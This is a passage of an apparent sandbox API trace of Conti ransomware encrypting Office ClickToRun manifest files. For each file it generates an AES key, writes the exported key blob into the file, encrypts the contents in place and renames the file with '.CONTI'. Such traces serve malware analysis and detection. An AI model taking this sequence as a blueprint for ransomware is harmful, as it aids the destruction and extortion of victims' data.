	[0103.695] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml.conti")) returned 1
	[0103.701] GetProcessHeap () returned 0x1720000
	[0103.701] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.701] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0103.702] GetProcessHeap () returned 0x1720000
	[0103.702] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1fb8 | out: hHeap=0x1720000) returned 1
	[0103.702] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.702] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17ea220 | out: phKey=0x17ea220*=0x17c85b0) returned 1
	[0103.702] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17ea224, pdwDataLen=0x54bfc14 | out: pbData=0x17ea224*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.703] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml")) returned 0x20
	[0103.706] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0103.706] GetLastError () returned 0x0
	[0103.706] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=29766) returned 1
	[0103.706] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7446
	[0103.706] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.706] SetEndOfFile (hFile=0x2f8) returned 1
	[0103.707] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.707] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.707] WriteFile (in: hFile=0x2f8, lpBuffer=0x17ea224*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17ea224*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0103.709] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.709] ReadFile (in: hFile=0x2f8, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x7446, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x7446, lpOverlapped=0x0) returned 1
	[0103.713] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x7446, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x7450) returned 1
	[0103.714] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.714] WriteFile (in: hFile=0x2f8, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x7450, lpOverlapped=0x0) returned 1
	[0103.714] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.714] WriteFile (in: hFile=0x2f8, lpBuffer=0x17ea218*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17ea218*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0103.714] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.714] CloseHandle (hObject=0x2f8) returned 1
	[0103.714] GetProcessHeap () returned 0x1720000
	[0103.714] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.714] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml"
	[0103.714] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.CONTI"
	[0103.714] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml.conti")) returned 1
	[0103.715] GetProcessHeap () returned 0x1720000
	[0103.715] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.715] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0103.715] GetProcessHeap () returned 0x1720000
	[0103.715] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d22e0 | out: hHeap=0x1720000) returned 1
	[0103.715] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.715] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d9b10 | out: phKey=0x17d9b10*=0x17c8470) returned 1
	[0103.715] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d9b14, pdwDataLen=0x54bfc14 | out: pbData=0x17d9b14*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.716] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml")) returned 0x20
	[0103.718] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0103.718] GetLastError () returned 0x0
	[0103.718] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=24558) returned 1
	[0103.718] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5fee
	[0103.718] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.718] SetEndOfFile (hFile=0x2f8) returned 1
	[0103.718] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.718] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.718] WriteFile (in: hFile=0x2f8, lpBuffer=0x17d9b14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17d9b14*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0103.728] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.728] ReadFile (in: hFile=0x2f8, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x5fee, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x5fee, lpOverlapped=0x0) returned 1
	[0103.732] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x5fee, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x5ff0) returned 1
	[0103.732] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.732] WriteFile (in: hFile=0x2f8, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x5ff0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x5ff0, lpOverlapped=0x0) returned 1
	[0103.733] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.733] WriteFile (in: hFile=0x2f8, lpBuffer=0x17d9b08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17d9b08*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0103.733] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.733] CloseHandle (hObject=0x2f8) returned 1
	[0103.733] GetProcessHeap () returned 0x1720000
	[0103.733] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.733] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml"
	[0103.733] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.CONTI"
	[0103.733] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml.conti")) returned 1
	[0103.738] GetProcessHeap () returned 0x1720000
	[0103.738] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.738] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0103.738] GetProcessHeap () returned 0x1720000
	[0103.738] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5628 | out: hHeap=0x1720000) returned 1
	[0103.738] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.738] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d9d58 | out: phKey=0x17d9d58*=0x17c8370) returned 1
	[0103.738] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d9d5c, pdwDataLen=0x54bfc14 | out: pbData=0x17d9d5c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.739] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml")) returned 0x20
	[0103.742] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4
	[0103.742] GetLastError () returned 0x0
	[0103.742] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=14132) returned 1
	[0103.742] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3734
	[0103.742] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.743] SetEndOfFile (hFile=0x3b4) returned 1
	[0103.743] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.743] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.743] WriteFile (in: hFile=0x3b4, lpBuffer=0x17d9d5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17d9d5c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0103.746] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.746] ReadFile (in: hFile=0x3b4, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x3734, lpOverlapped=0x0) returned 1
	[0103.751] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x3734, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x3740) returned 1
	[0103.751] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.751] WriteFile (in: hFile=0x3b4, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x3740, lpOverlapped=0x0) returned 1
	[0103.751] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.751] WriteFile (in: hFile=0x3b4, lpBuffer=0x17d9d50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17d9d50*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0103.752] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.752] CloseHandle (hObject=0x3b4) returned 1
	[0103.752] GetProcessHeap () returned 0x1720000
	[0103.752] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.752] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml"
	[0103.752] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.CONTI"
	[0103.752] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml.conti")) returned 1
	[0103.762] GetProcessHeap () returned 0x1720000
	[0103.762] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.762] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0103.762] GetProcessHeap () returned 0x1720000
	[0103.762] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5a18 | out: hHeap=0x1720000) returned 1
	[0103.762] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0103.762] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d8d60 | out: phKey=0x17d8d60*=0x17c8370) returned 1
	[0103.762] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d8d64, pdwDataLen=0x54bfc14 | out: pbData=0x17d8d64*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0103.763] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml")) returned 0x20
	[0103.770] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0
	[0103.770] GetLastError () returned 0x0
	[0103.770] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=986292) returned 1
	[0103.771] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf0cb4
	[0103.771] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.771] SetEndOfFile (hFile=0x3c0) returned 1
	[0103.776] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.776] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.776] WriteFile (in: hFile=0x3c0, lpBuffer=0x17d8d64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17d8d64*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0103.779] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.779] ReadFile (in: hFile=0x3c0, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0xf0cb4, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0xf0cb4, lpOverlapped=0x0) returned 1
	[0103.792] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0xf0cb4, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0xf0cc0) returned 1
	[0103.793] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.793] WriteFile (in: hFile=0x3c0, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0xf0cc0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0xf0cc0, lpOverlapped=0x0) returned 1
	[0103.796] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.796] WriteFile (in: hFile=0x3c0, lpBuffer=0x17d8d58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17d8d58*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0103.796] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.796] CloseHandle (hObject=0x3c0) returned 1
	[0103.797] GetProcessHeap () returned 0x1720000
	[0103.797] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6555f58
